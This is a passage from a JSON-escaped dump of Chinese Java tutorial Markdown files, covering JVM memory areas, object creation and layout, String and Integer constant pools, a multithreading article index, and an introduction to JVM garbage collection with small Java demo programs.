OutOfMemoryError。**\n\n- **StackOverFlowError：** 若Java虚拟机栈的内存大小不允许动态扩展，那么当线程请求栈的深度超过当前Java虚拟机栈的最大深度的时候，就抛出StackOverFlowError异常。\n- **OutOfMemoryError：** 若 Java 虚拟机栈的内存大小允许动态扩展，且当线程请求栈时内存用完了，无法再动态扩展了，此时抛出OutOfMemoryError异常。\n\nJava 虚拟机栈也是线程私有的，每个线程都有各自的Java虚拟机栈，而且随着线程的创建而创建，随着线程的死亡而死亡。\n\n**扩展：那么方法/函数如何调用？**\n\nJava 栈可用类比数据结构中栈，Java 栈中保存的主要内容是栈帧，每一次函数调用都会有一个对应的栈帧被压入Java栈，每一个函数调用结束后，都会有一个栈帧被弹出。\n\nJava方法有两种返回方式：\n\n1. return 语句。\n2. 抛出异常。\n\n不管哪种返回方式都会导致栈帧被弹出。\n\n### 2.3 本地方法栈\n\n和虚拟机栈所发挥的作用非常相似，区别是： **虚拟机栈为虚拟机执行 Java 方法 （也就是字节码）服务，而本地方法栈则为虚拟机使用到的 Native 方法服务。** 在 HotSpot 虚拟机中和 Java 虚拟机栈合二为一。\n\n本地方法被执行的时候，在本地方法栈也会创建一个栈帧，用于存放该本地方法的局部变量表、操作数栈、动态链接、出口信息。\n\n方法执行完毕后相应的栈帧也会出栈并释放内存空间，也会出现 StackOverFlowError 和 OutOfMemoryError 两种异常。\n\n### 2.4 堆\nJava 虚拟机所管理的内存中最大的一块，Java 堆是所有线程共享的一块内存区域，在虚拟机启动时创建。**此内存区域的唯一目的就是存放对象实例，几乎所有的对象实例以及数组都在这里分配内存。**\n\nJava 堆是垃圾收集器管理的主要区域，因此也被称作**GC堆（Garbage Collected Heap）**.从垃圾回收的角度，由于现在收集器基本都采用分代垃圾收集算法，所以Java堆还可以细分为：新生代和老年代：再细致一点有：Eden空间、From Survivor、To Survivor空间等。**进一步划分的目的是更好地回收内存，或者更快地分配内存。**\n\n<div align=\"center\">  \n<img src=\"https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-3堆结构.png\" width=\"400px\"/>\n</div>\n\n上图所示的 eden区、s0区、s1区都属于新生代，tentired 区属于老年代。大部分情况，对象都会首先在 Eden 区域分配，在一次新生代垃圾回收后，如果对象还存活，则会进入 s0 或者 s1，并且对象的年龄还会加 1(Eden区->Survivor 区后对象的初始年龄变为1)，当它的年龄增加到一定程度（默认为15岁），就会被晋升到老年代中。对象晋升到老年代的年龄阈值，可以通过参数 `-XX:MaxTenuringThreshold` 来设置。\n\n### 2.5 方法区\n\n方法区与 Java 堆一样，是各个线程共享的内存区域，它用于存储已被虚拟机加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。虽然Java虚拟机规范把方法区描述为堆的一个逻辑部分，但是它却有一个别名叫做 **Non-Heap（非堆）**，目的应该是与 Java 堆区分开来。\n\n方法区也被称为永久代。很多人都会分不清方法区和永久代的关系，为此我也查阅了文献。\n\n#### 方法区和永久代的关系\n\n> 《Java虚拟机规范》只是规定了有方法区这么个概念和它的作用，并没有规定如何去实现它。那么，在不同的 JVM 上方法区的实现肯定是不同的了。  **方法区和永久代的关系很像Java中接口和类的关系，类实现了接口，而永久代就是HotSpot虚拟机对虚拟机规范中方法区的一种实现方式。** 也就是说，永久代是HotSpot的概念，方法区是Java虚拟机规范中的定义，是一种规范，而永久代是一种实现，一个是标准一个是实现，其他的虚拟机实现并没有永久带这一说法。\n\n#### 常用参数\n\nJDK 1.8 之前永久代还没被彻底移除的时候通常通过下面这些参数来调节方法区大小\n\n```java\n-XX:PermSize=N //方法区(永久代)初始大小\n-XX:MaxPermSize=N //方法区(永久代)最大大小,超过这个值将会抛出OutOfMemoryError异常:java.lang.OutOfMemoryError: PermGen\n```\n\n相对而言，垃圾收集行为在这个区域是比较少出现的，但并非数据进入方法区后就“永久存在”了。**\n\nJDK 1.8 的时候，方法区（HotSpot的永久代）被彻底移除了（JDK1.7就已经开始了），取而代之是元空间，元空间使用的是直接内存。\n\n下面是一些常用参数：\n\n```java\n-XX:MetaspaceSize=N //设置Metaspace的初始（和最小大小）\n-XX:MaxMetaspaceSize=N //设置Metaspace的最大大小\n```\n\n与永久代很大的不同就是，如果不指定大小的话，随着更多类的创建，虚拟机会耗尽所有可用的系统内存。\n\n#### 为什么要将永久代(PermGen)替换为元空间(MetaSpace)呢?\n\n整个永久代有一个 JVM 本身设置固定大小上线，无法进行调整，而元空间使用的是直接内存，受本机可用内存的限制，并且永远不会得到java.lang.OutOfMemoryError。你可以使用 `-XX：MaxMetaspaceSize` 标志设置最大元空间大小，默认值为 unlimited，这意味着它只受系统内存的限制。`-XX：MetaspaceSize` 调整标志定义元空间的初始大小如果未指定此标志，则 Metaspace 将根据运行时的应用程序需求动态地重新调整大小。\n\n当然这只是其中一个原因，还有很多底层的原因，这里就不提了。\n\n### 2.6 运行时常量池\n\n运行时常量池是方法区的一部分。Class 文件中除了有类的版本、字段、方法、接口等描述信息外，还有常量池信息（用于存放编译期生成的各种字面量和符号引用）\n\n既然运行时常量池时方法区的一部分，自然受到方法区内存的限制，当常量池无法再申请到内存时会抛出 OutOfMemoryError 异常。\n\n**JDK1.7及之后版本的 JVM 已经将运行时常量池从方法区中移了出来，在 Java 堆（Heap）中开辟了一块区域存放运行时常量池。** \n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-9-14/26038433.jpg)\n——图片来源：https://blog.csdn.net/wangbiao007/article/details/78545189\n\n\n### 2.7 直接内存\n\n**直接内存并不是虚拟机运行时数据区的一部分，也不是虚拟机规范中定义的内存区域，但是这部分内存也被频繁地使用。而且也可能导致 OutOfMemoryError 异常出现。**\n\nJDK1.4 中新加入的 **NIO(New Input/Output) 类**，引入了一种基于**通道（Channel）** 与**缓存区（Buffer）** 的 I/O 方式，它可以直接使用 Native 函数库直接分配堆外内存，然后通过一个存储在 Java 堆中的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样就能在一些场景中显著提高性能，因为**避免了在 Java 堆和 Native 堆之间来回复制数据**。\n\n本机直接内存的分配不会收到 Java 堆的限制，但是，既然是内存就会受到本机总内存大小以及处理器寻址空间的限制。\n\n\n## 三 HotSpot 虚拟机对象探秘\n通过上面的介绍我们大概知道了虚拟机的内存情况，下面我们来详细的了解一下 HotSpot 虚拟机在 Java 堆中对象分配、布局和访问的全过程。\n\n### 3.1 对象的创建\n下图便是 Java 对象的创建过程，我建议最好是能默写出来，并且要掌握每一步在做什么。\n![Java对象的创建过程](https://user-gold-cdn.xitu.io/2018/8/22/16561e59a4135869?w=950&h=279&f=png&s=28529)\n\n**①类加载检查：** 虚拟机遇到一条 new 指令时，首先将去检查这个指令的参数是否能在常量池中定位到这个类的符号引用，并且检查这个符号引用代表的类是否已被加载过、解析和初始化过。如果没有，那必须先执行相应的类加载过程。\n\n**②分配内存：** 在**类加载检查**通过后，接下来虚拟机将为新生对象**分配内存**。对象所需的内存大小在类加载完成后便可确定，为对象分配空间的任务等同于把一块确定大小的内存从 Java 堆中划分出来。**分配方式**有 **“指针碰撞”** 和 **“空闲列表”** 两种，**选择那种分配方式由 Java 堆是否规整决定，而Java堆是否规整又由所采用的垃圾收集器是否带有压缩整理功能决定**。\n\n\n**内存分配的两种方式：（补充内容，需要掌握）**\n\n选择以上两种方式中的哪一种，取决于 Java 堆内存是否规整。而 Java 堆内存是否规整，取决于 GC 收集器的算法是\"标记-清除\"，还是\"标记-整理\"（也称作\"标记-压缩\"），值得注意的是，复制算法内存也是规整的\n\n![](https://user-gold-cdn.xitu.io/2018/8/22/16561e59a40a2c3d?w=1426&h=333&f=png&s=26346)\n\n**内存分配并发问题（补充内容，需要掌握）**\n\n在创建对象的时候有一个很重要的问题，就是线程安全，因为在实际开发过程中，创建对象是很频繁的事情，作为虚拟机来说，必须要保证线程是安全的，通常来讲，虚拟机采用两种方式来保证线程安全：\n\n- **CAS+失败重试：** CAS 是乐观锁的一种实现方式。所谓乐观锁就是，每次不加锁而是假设没有冲突而去完成某项操作，如果因为冲突失败就重试，直到成功为止。**虚拟机采用 CAS 配上失败重试的方式保证更新操作的原子性。**\n- **TLAB：** 为每一个线程预先在Eden区分配一块儿内存，JVM在给线程中的对象分配内存时，首先在TLAB分配，当对象大于TLAB中的剩余内存或TLAB的内存已用尽时，再采用上述的CAS进行内存分配\n\n\n\n**③初始化零值：** 内存分配完成后，虚拟机需要将分配到的内存空间都初始化为零值（不包括对象头），这一步操作保证了对象的实例字段在 Java 代码中可以不赋初始值就直接使用，程序能访问到这些字段的数据类型所对应的零值。\n\n**④设置对象头：** 初始化零值完成之后，**虚拟机要对对象进行必要的设置**，例如这个对象是那个类的实例、如何才能找到类的元数据信息、对象的哈希吗、对象的 GC 分代年龄等信息。 **这些信息存放在对象头中。** 另外，根据虚拟机当前运行状态的不同，如是否启用偏向锁等，对象头会有不同的设置方式。\n\n\n**⑤执行 init 方法：** 在上面工作都完成之后，从虚拟机的视角来看，一个新的对象已经产生了，但从 Java 程序的视角来看，对象创建才刚开始，`<init>` 方法还没有执行，所有的字段都还为零。所以一般来说，执行 new 指令之后会接着执行 `<init>` 方法，把对象按照程序员的意愿进行初始化，这样一个真正可用的对象才算完全产生出来。\n\n\n### 3.2 对象的内存布局\n\n在 Hotspot 虚拟机中，对象在内存中的布局可以分为3块区域：**对象头**、**实例数据**和**对齐填充**。\n\n**Hotspot虚拟机的对象头包括两部分信息**，**第一部分用于存储对象自身的自身运行时数据**（哈希码、GC分代年龄、锁状态标志等等），**另一部分是类型指针**，即对象指向它的类元数据的指针，虚拟机通过这个指针来确定这个对象是那个类的实例。\n\n**实例数据部分是对象真正存储的有效信息**，也是在程序中所定义的各种类型的字段内容。\n\n**对齐填充部分不是必然存在的，也没有什么特别的含义，仅仅起占位作用。** 因为Hotspot虚拟机的自动内存管理系统要求对象起始地址必须是8字节的整数倍，换句话说就是对象的大小必须是8字节的整数倍。而对象头部分正好是8字节的倍数（1倍或2倍），因此，当对象实例数据部分没有对齐时，就需要通过对齐填充来补全。\n\n### 3.3 对象的访问定位\n建立对象就是为了使用对象，我们的Java程序通过栈上的 reference 数据来操作堆上的具体对象。对象的访问方式有虚拟机实现而定，目前主流的访问方式有**①使用句柄**和**②直接指针**两种：\n\n1. **句柄：** 如果使用句柄的话，那么Java堆中将会划分出一块内存来作为句柄池，reference 中存储的就是对象的句柄地址，而句柄中包含了对象实例数据与类型数据各自的具体地址信息；\n![使用句柄](https://user-gold-cdn.xitu.io/2018/4/27/16306b9573968946?w=786&h=362&f=png&s=109201)\n\n2. **直接指针：**  如果使用直接指针访问，那么 Java 堆对象的布局中就必须考虑如何放置访问类型数据的相关信息，而reference 中存储的直接就是对象的地址。\n\n![使用直接指针](https://user-gold-cdn.xitu.io/2018/4/27/16306ba3a41b6b65?w=766&h=353&f=png&s=99172)\n\n**这两种对象访问方式各有优势。使用句柄来访问的最大好处是 reference 中存储的是稳定的句柄地址，在对象被移动时只会改变句柄中的实例数据指针，而 reference 本身不需要修改。使用直接指针访问方式最大的好处就是速度快，它节省了一次指针定位的时间开销。**\n\n\n\n\n## 四  重点补充内容\n\n### String 类和常量池\n\n**1 String 对象的两种创建方式：**\n\n```java\n     String str1 = \"abcd\";\n     String str2 = new String(\"abcd\");\n     System.out.println(str1==str2);//false\n```\n\n这两种不同的创建方法是有差别的，第一种方式是在常量池中拿对象，第二种方式是直接在堆内存空间创建一个新的对象。\n![](https://user-gold-cdn.xitu.io/2018/8/22/16561e59a59c0873?w=698&h=355&f=png&s=10449)\n记住：只要使用new方法，便需要创建新的对象。\n\n\n\n**2 String 类型的常量池比较特殊。它的主要使用方法有两种：**\n\n- 直接使用双引号声明出来的 String 对象会直接存储在常量池中。\n- 如果不是用双引号声明的 String 对象，可以使用 String 提供的 intern 方法。String.intern() 是一个 Native 方法，它的作用是：如果运行时常量池中已经包含一个等于此 String 对象内容的字符串，则返回常量池中该字符串的引用；如果没有，则在常量池中创建与此 String 内容相同的字符串，并返回常量池中创建的字符串的引用。\n\n```java\n\t      String s1 = new String(\"计算机\");\n\t      String s2 = s1.intern();\n\t      String s3 = \"计算机\";\n\t      System.out.println(s2);//计算机\n\t      System.out.println(s1 == s2);//false，因为一个是堆内存中的String对象一个是常量池中的String对象，\n\t      System.out.println(s3 == s2);//true，因为两个都是常量池中的String对象\n```\n**3 String 字符串拼接**\n```java\n\t\t  String str1 = \"str\";\n\t\t  String str2 = \"ing\";\n\t\t  \n\t\t  String str3 = \"str\" + \"ing\";//常量池中的对象\n\t\t  String str4 = str1 + str2; //在堆上创建的新的对象\t  \n\t\t  String str5 = \"string\";//常量池中的对象\n\t\t  System.out.println(str3 == str4);//false\n\t\t  System.out.println(str3 == str5);//true\n\t\t  System.out.println(str4 == str5);//false\n```\n![](https://user-gold-cdn.xitu.io/2018/8/22/16561e59a4d13f92?w=593&h=603&f=png&s=22265)\n\n尽量避免多个字符串拼接，因为这样会重新创建对象。如果需要改变字符串的话，可以使用 StringBuilder 或者 StringBuffer。\n### String s1 = new String(\"abc\");这句话创建了几个对象？\n\n**创建了两个对象。**\n\n**验证：**\n\n```java\n\t\tString s1 = new String(\"abc\");// 堆内存的地址值\n\t\tString s2 = \"abc\";\n\t\tSystem.out.println(s1 == s2);// 输出false,因为一个是堆内存，一个是常量池的内存，故两者是不同的。\n\t\tSystem.out.println(s1.equals(s2));// 输出true\n```\n\n**结果：**\n\n```\nfalse\ntrue\n```\n\n**解释：**\n\n先有字符串\"abc\"放入常量池，然后 new 了一份字符串\"abc\"放入Java堆(字符串常量\"abc\"在编译期就已经确定放入常量池，而 Java 堆上的\"abc\"是在运行期初始化阶段才确定)，然后 Java 栈的 str1 指向Java堆上的\"abc\"。 \n\n### 8种基本类型的包装类和常量池\n\n- **Java 基本类型的包装类的大部分都实现了常量池技术，即Byte,Short,Integer,Long,Character,Boolean；这5种包装类默认创建了数值[-128，127]的相应类型的缓存数据，但是超出此范围仍然会去创建新的对象。**\n- **两种浮点数类型的包装类 Float,Double 并没有实现常量池技术。**\n\n```java\n\t\tInteger i1 = 33;\n\t\tInteger i2 = 33;\n\t\tSystem.out.println(i1 == i2);// 输出true\n\t\tInteger i11 = 333;\n\t\tInteger i22 = 333;\n\t\tSystem.out.println(i11 == i22);// 输出false\n\t\tDouble i3 = 1.2;\n\t\tDouble i4 = 1.2;\n\t\tSystem.out.println(i3 == i4);// 输出false\n```\n\n**Integer 缓存源代码：** \n\n```java\n/**\n*此方法将始终缓存-128到127（包括端点）范围内的值，并可以缓存此范围之外的其他值。\n*/\n    public static Integer valueOf(int i) {\n        if (i >= IntegerCache.low && i <= IntegerCache.high)\n            return IntegerCache.cache[i + (-IntegerCache.low)];\n        return new Integer(i);\n    }\n\n```\n\n**应用场景：**\n1. Integer i1=40；Java 在编译的时候会直接将代码封装成Integer i1=Integer.valueOf(40);，从而使用常量池中的对象。\n2.  Integer i1 = new Integer(40);这种情况下会创建新的对象。\n\n```java\n  Integer i1 = 40;\n  Integer i2 = new Integer(40);\n  System.out.println(i1==i2);//输出false\n```\n**Integer比较更丰富的一个例子:**\n\n```java\n  Integer i1 = 40;\n  Integer i2 = 40;\n  Integer i3 = 0;\n  Integer i4 = new Integer(40);\n  Integer i5 = new Integer(40);\n  Integer i6 = new Integer(0);\n  \n  System.out.println(\"i1=i2   \" + (i1 == i2));\n  System.out.println(\"i1=i2+i3   \" + (i1 == i2 + i3));\n  System.out.println(\"i1=i4   \" + (i1 == i4));\n  System.out.println(\"i4=i5   \" + (i4 == i5));\n  System.out.println(\"i4=i5+i6   \" + (i4 == i5 + i6));   \n  System.out.println(\"40=i5+i6   \" + (40 == i5 + i6));     \n```\n\n结果：\n\n```\ni1=i2   true\ni1=i2+i3   true\ni1=i4   false\ni4=i5   false\ni4=i5+i6   true\n40=i5+i6   true\n```\n\n解释：\n\n语句i4 == i5 + i6，因为+这个操作符不适用于Integer对象，首先i5和i6进行自动拆箱操作，进行数值相加，即i4 == 40。然后Integer对象无法与数值进行直接比较，所以i4自动拆箱转为int值40，最终这条语句转为40 == 40进行数值比较。\n\n## 参考\n\n- 《深入理解Java虚拟机：JVM高级特性与最佳实践（第二版》\n- 《实战java虚拟机》\n- <https://docs.oracle.com/javase/specs/index.html>\n- <http://www.pointsoftware.ch/en/under-the-hood-runtime-data-areas-javas-memory-model/>\n- <https://dzone.com/articles/jvm-permgen-%E2%80%93-where-art-thou>\n- <https://stackoverflow.com/questions/9095748/method-area-and-permgen>\n\n\n\n\n\n"
  },
  {
    "path": "docs/java/多线程系列.md",
    "content": "> ## 多线程系列文章\n下列文章，我都更新在了我的博客专栏：[Java并发编程指南](https://blog.csdn.net/column/details/20860.html)。\n\n1. [Java多线程学习（一）Java多线程入门](http://blog.csdn.net/qq_34337272/article/details/79640870)\n2. [Java多线程学习（二）synchronized关键字（1）](http://blog.csdn.net/qq_34337272/article/details/79655194)\n3.  [Java多线程学习（二）synchronized关键字（2）](http://blog.csdn.net/qq_34337272/article/details/79670775)\n4. [Java多线程学习（三）volatile关键字](http://blog.csdn.net/qq_34337272/article/details/79680771)\n5. [Java多线程学习（四）等待/通知（wait/notify）机制](http://blog.csdn.net/qq_34337272/article/details/79690279)\n\n6. [Java多线程学习（五）线程间通信知识点补充](http://blog.csdn.net/qq_34337272/article/details/79694226)\n7. [Java多线程学习（六）Lock锁的使用](http://blog.csdn.net/qq_34337272/article/details/79714196)\n8. [Java多线程学习（七）并发编程中一些问题](https://blog.csdn.net/qq_34337272/article/details/79844051)\n9. [Java多线程学习（八）线程池与Executor 框架](https://blog.csdn.net/qq_34337272/article/details/79959271)\n\n\n> ## 多线程系列文章重要知识点与思维导图\n\n###  Java多线程学习（一）Java多线程入门\n\n![](https://user-gold-cdn.xitu.io/2018/8/4/16504e0cb6bac32e?w=758&h=772&f=jpeg&s=247210)\n\n###  Java多线程学习（二）synchronized关键字（1）\n![](https://user-gold-cdn.xitu.io/2018/8/4/16504e245ceb3ea9?w=1028&h=490&f=jpeg&s=203811)\n\n注意：**可重入锁的概念**。\n\n   另外要注意：**synchronized取得的锁都是对象锁，而不是把一段代码或方法当做锁。** 如果多个线程访问的是同一个对象，哪个线程先执行带synchronized关键字的方法，则哪个线程就持有该方法，那么其他线程只能呈等待状态。如果多个线程访问的是多个对象则不一定，因为多个对象会产生多个锁。\n\n###  Java多线程学习（二）synchronized关键字（2）\n\n![思维导图](https://user-gold-cdn.xitu.io/2018/8/4/16504e3d98213324?w=1448&h=439&f=jpeg&s=245012)\n\n   **注意：**\n\n   - 其他线程执行对象中**synchronized同步方法**（上一节我们介绍过，需要回顾的可以看上一节的文章）和**synchronized(this)代码块**时呈现同步效果;\n   - **如果两个线程使用了同一个“对象监视器”（synchronized(object)）,运行结果同步，否则不同步**.\n\n   **synchronized关键字加到static静态方法**和**synchronized(class)代码块**上都是是给**Class类**上锁，而**synchronized关键字加到非static静态方法**上是给**对象**上锁。\n\n   数据类型String的常量池属性:**在Jvm中具有String常量池缓存的功能**\n\n###  Java多线程学习（三）volatile关键字\n\n![volatile关键字](https://user-gold-cdn.xitu.io/2018/8/4/16504e4ab69d8d58)\n   **注意：**\n\n   **synchronized关键字**和**volatile关键字**比较\n\n### Java多线程学习（四）等待/通知（wait/notify）机制\n\n![本节思维导图](https://user-gold-cdn.xitu.io/2018/3/25/1625d2a9188ec021?w=1254&h=452&f=jpeg&s=229471)\n\n### Java多线程学习（五）线程间通信知识点补充\n\n![本节思维导图](https://user-gold-cdn.xitu.io/2018/8/4/16504e618d6886c5?w=1146&h=427&f=jpeg&s=220573)\n   **注意：** ThreadLocal类主要解决的就是让每个线程绑定自己的值，可以将ThreadLocal类形象的比喻成存放数据的盒子，盒子中可以存储每个线程的私有数据。\n\n###  Java多线程学习（六）Lock锁的使用\n\n   ![本节思维导图](https://user-gold-cdn.xitu.io/2018/3/27/1626755a8e9a8774?w=1197&h=571&f=jpeg&s=258439)\n\n### Java多线程学习（七）并发编程中一些问题\n\n![思维导图](https://user-gold-cdn.xitu.io/2018/4/7/162a01b71ebc4842?w=1067&h=517&f=png&s=36857)\n\n### Java多线程学习（八）线程池与Executor 框架\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-12-14/86510659.jpg)\n\n"
  },
  {
    "path": "docs/java/搞定JVM垃圾回收就是这么简单.md",
    "content": "\n上文回顾：[《可能是把Java内存区域讲的最清楚的一篇文章》](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247484303&idx=1&sn=af0fd436cef755463f59ee4dd0720cbd&chksm=fd9855eecaefdcf8d94ac581cfda4e16c8a730bda60c3b50bc55c124b92f23b6217f7f8e58d5&token=506869459&lang=zh_CN#rd)\n## 写在前面\n\n### 本节常见面试题：\n\n问题答案在文中都有提到\n\n- 如何判断对象是否死亡（两种方法）。\n- 简单的介绍一下强引用、软引用、弱引用、虚引用（虚引用与软引用和弱引用的区别、使用软引用能带来的好处）。\n- 如何判断一个常量是废弃常量\n- 如何判断一个类是无用的类\n- 垃圾收集有哪些算法，各自的特点？\n- HotSpot为什么要分为新生代和老年代？\n- 常见的垃圾回收器有那些？\n- 介绍一下CMS,G1收集器。\n- Minor Gc和Full GC 有什么不同呢？\n\n### 本文导火索\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-26/29176325.jpg)\n\n当需要排查各种 内存溢出问题、当垃圾收集成为系统达到更高并发的瓶颈时，我们就需要对这些“自动化”的技术实施必要的监控和调节。\n\n\n\n## 1  揭开JVM内存分配与回收的神秘面纱\n\nJava 的自动内存管理主要是针对对象内存的回收和对象内存的分配。同时，Java 自动内存管理最核心的功能是 **堆** 内存中对象的分配与回收。\n\nJava 堆是垃圾收集器管理的主要区域，因此也被称作**GC堆（Garbage Collected Heap）**.从垃圾回收的角度，由于现在收集器基本都采用分代垃圾收集算法，所以 Java 堆还可以细分为：新生代和老年代：再细致一点有：Eden空间、From Survivor、To Survivor空间等。**进一步划分的目的是更好地回收内存，或者更快地分配内存。**\n\n**堆空间的基本结构：**\n\n<div align=\"center\">  \n<img src=\"https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/2019-3堆结构.png\" width=\"400px\"/>\n</div>\n\n上图所示的 eden区、s0区、s1区都属于新生代，tentired 区属于老年代。大部分情况，对象都会首先在 Eden 区域分配，在一次新生代垃圾回收后，如果对象还存活，则会进入 s0 或者 s1，并且对象的年龄还会加 1(Eden区->Survivor 区后对象的初始年龄变为1)，当它的年龄增加到一定程度（默认为15岁），就会被晋升到老年代中。对象晋升到老年代的年龄阈值，可以通过参数 `-XX:MaxTenuringThreshold` 来设置。\n\n\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-27/89294547.jpg)\n\n### 1.1 对象优先在eden区分配\n\n目前主流的垃圾收集器都会采用分代回收算法，因此需要将堆内存分为新生代和老年代，这样我们就可以根据各个年代的特点选择合适的垃圾收集算法。\n\n大多数情况下，对象在新生代中 eden 区分配。当 eden 区没有足够空间进行分配时，虚拟机将发起一次Minor GC.下面我们来进行实际测试以下。\n\n在测试之前我们先来看看 **Minor GC和Full GC 有什么不同呢？**\n\n- **新生代GC（Minor GC）**:指发生新生代的的垃圾收集动作，Minor GC非常频繁，回收速度一般也比较快。\n- **老年代GC（Major GC/Full GC）**:指发生在老年代的GC，出现了Major GC经常会伴随至少一次的Minor GC（并非绝对），Major GC的速度一般会比Minor GC的慢10倍以上。\n\n**测试：**\n\n```java\npublic class GCTest {\n\n\tpublic static void main(String[] args) {\n\t\tbyte[] allocation1, allocation2;\n\t\tallocation1 = new byte[30900*1024];\n\t\t//allocation2 = new byte[900*1024];\n\t}\n}\n```\n通过以下方式运行：\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-26/25178350.jpg)\n\n添加的参数：`-XX:+PrintGCDetails`\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-26/10317146.jpg)\n\n运行结果(红色字体描述有误，应该是对应于JDK1.7的永久代)：\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-26/28954286.jpg)\n\n从上图我们可以看出eden区内存几乎已经被分配完全（即使程序什么也不做，新生代也会使用2000多k内存）。假如我们再为allocation2分配内存会出现什么情况呢？\n\n```java\nallocation2 = new byte[900*1024];\n```\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-26/28128785.jpg)\n\n**简单解释一下为什么会出现这种情况：** 因为给allocation2分配内存的时候eden区内存几乎已经被分配完了，我们刚刚讲了当Eden区没有足够空间进行分配时，虚拟机将发起一次Minor GC.GC期间虚拟机又发现allocation1无法存入Survivor空间，所以只好通过 **分配担保机制** 把新生代的对象提前转移到老年代中去，老年代上的空间足够存放allocation1，所以不会出现Full GC。执行Minor GC后，后面分配的对象如果能够存在eden区的话，还是会在eden区分配内存。可以执行如下代码验证：\n\n```java\npublic class GCTest {\n\n\tpublic static void main(String[] args) {\n\t\tbyte[] allocation1, allocation2,allocation3,allocation4,allocation5;\n\t\tallocation1 = new byte[32000*1024];\n\t\tallocation2 = new byte[1000*1024];\n\t\tallocation3 = new byte[1000*1024];\n\t\tallocation4 = new byte[1000*1024];\n\t\tallocation5 = new byte[1000*1024];\n\t}\n}\n\n```\n\n\n### 1.2 大对象直接进入老年代\n大对象就是需要大量连续内存空间的对象（比如：字符串、数组）。\n\n**为什么要这样呢？**\n\n为了避免为大对象分配内存时由于分配担保机制带来的复制而降低效率。\n\n### 1.3 长期存活的对象将进入老年代\n既然虚拟机采用了分代收集的思想来管理内存，那么内存回收时就必须能识别哪些对象应放在新生代，哪些对象应放在老年代中。为了做到这一点，虚拟机给每个对象一个对象年龄（Age）计数器。\n\n如果对象在 Eden 出生并经过第一次 Minor GC 后仍然能够存活，并且能被 Survivor 容纳的话，将被移动到 Survivor 空间中，并将对象年龄设为1.对象在 Survivor 中每熬过一次 MinorGC,年龄就增加1岁，当它的年龄增加到一定程度（默认为15岁），就会被晋升到老年代中。对象晋升到老年代的年龄阈值，可以通过参数 `-XX:MaxTenuringThreshold` 来设置。\n\n### 1.4 动态对象年龄判定\n\n为了更好的适应不同程序的内存情况，虚拟机不是永远要求对象年龄必须达到了某个值才能进入老年代，如果 Survivor 空间中相同年龄所有对象大小的总和大于 Survivor 空间的一半，年龄大于或等于该年龄的对象就可以直接进入老年代，无需达到要求的年龄。\n\n\n## 2 对象已经死亡？\n\n堆中几乎放着所有的对象实例，对堆垃圾回收前的第一步就是要判断那些对象已经死亡（即不能再被任何途径使用的对象）。\n\n![](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-27/11034259.jpg)\n\n### 2.1 引用计数法\n\n给对象中添加一个引用计数器，每当有一个地方引用它，计数器就加1；当引用失效，计数器就减1；任何时候计数器为0的对象就是不可能再被使用的。\n\n**这个方法实现简单，效率高，但是目前主流的虚拟机中并没有选择这个算法来管理内存，其最主要的原因是它很难解决对象之间相互循环引用的问题。** 所谓对象之间的相互引用问题，如下面代码所示：除了对象objA 和 objB 相互引用着对方之外，这两个对象之间再无任何引用。但是他们因为互相引用对方，导致它们的引用计数器都不为0，于是引用计数算法无法通知 GC 回收器回收他们。\n\n```java\npublic class ReferenceCountingGc {\n    Object instance = null;\n\tpublic static void main(String[] args) {\n\t\tReferenceCountingGc objA = new ReferenceCountingGc();\n\t\tReferenceCountingGc objB = new ReferenceCountingGc();\n\t\tobjA.instance = objB;\n\t\tobjB.instance = objA;\n\t\tobjA = null;\n\t\tobjB = null;\n\n\t}\n}\n```\n\n\n\n### 2.2 可达性分析算法\n\n这个算法的基本思想就是通过一系列的称为 **“GC Roots”** 的对象作为起点，从这些节点开始向下搜索，节点所走过的路径称为引用链，当一个对象到 GC Roots 没有任何引用链相连的话，则证明此对象是不可用的。\n\n![可达性分析算法](http://my-blog-to-use.oss-cn-beijing.aliyuncs.com/18-8-27/72762049.jpg)\n\n\n### 2.3 再谈引用\n\n无论是通过引用计数法判断对象引用数量，还是通过可达性分析法判断对象的引用链是否可达，判定对象的存活都与“引用”有关。\n\nJDK1.2之前，Java中引用的定义很传统：如果reference类型的数据存储的数值代表的是另一块内存的起始地址，就称这块内存代表一个引用。\n\nJDK1.2以后，Java对引用的概念进行了扩充，将引用分为强引用、软引用、弱引用、虚引用四种（引用强度逐渐减弱）\n\n\n\n**1．强引用**\n\n以前我们使用的大部分引用实际上都是强引用，这是使用最普遍的引用。如果一个对象具有强引用，那就类似于**必不可少的生活用品**，垃圾回收器绝不会回收它。当内存空 间不足，Java虚拟机宁愿抛出OutOfMemoryError错误，使程序异常终止，也不会靠随意回收具有强引用的对象来解决内存不足问题。\n\n**2．软引用（SoftReference）**\n\n如果一个对象只具有软引用，那就类似于**可有可无的生活用品**。如果内存空间足够，垃圾回收器就不会回收它，如果内存空间不足了，就会回收这些对象的内存。只要垃圾回收器没有回收它，该对象就可以被程序使用。软引用可用来实现内存敏感的高速缓存。\n\n软引用可以和一个引用队列（ReferenceQueue）联合使用，如果软引用所引用的对象被垃圾回收，JAVA虚拟机就会把这个软引用加入到与之关联的引用队列中。\n\n**3．弱引用（WeakReference）**\n\n如果一个对象只具有弱引用，那就类似于**可有可无的生活用品**。弱引用与软引用的区别在于：只具有弱引用的对象拥有更短暂的生命周期。在垃圾回收器线程扫描它 所管辖的内存区域的过程中，一旦发现了只具有弱引用的对象，不管当前内存空间足够与否，都会回收它的内存。不过，由于垃圾回收器是一个优先级很低的线程， 因此不一定会很快发现那些只具有弱引用的对象。 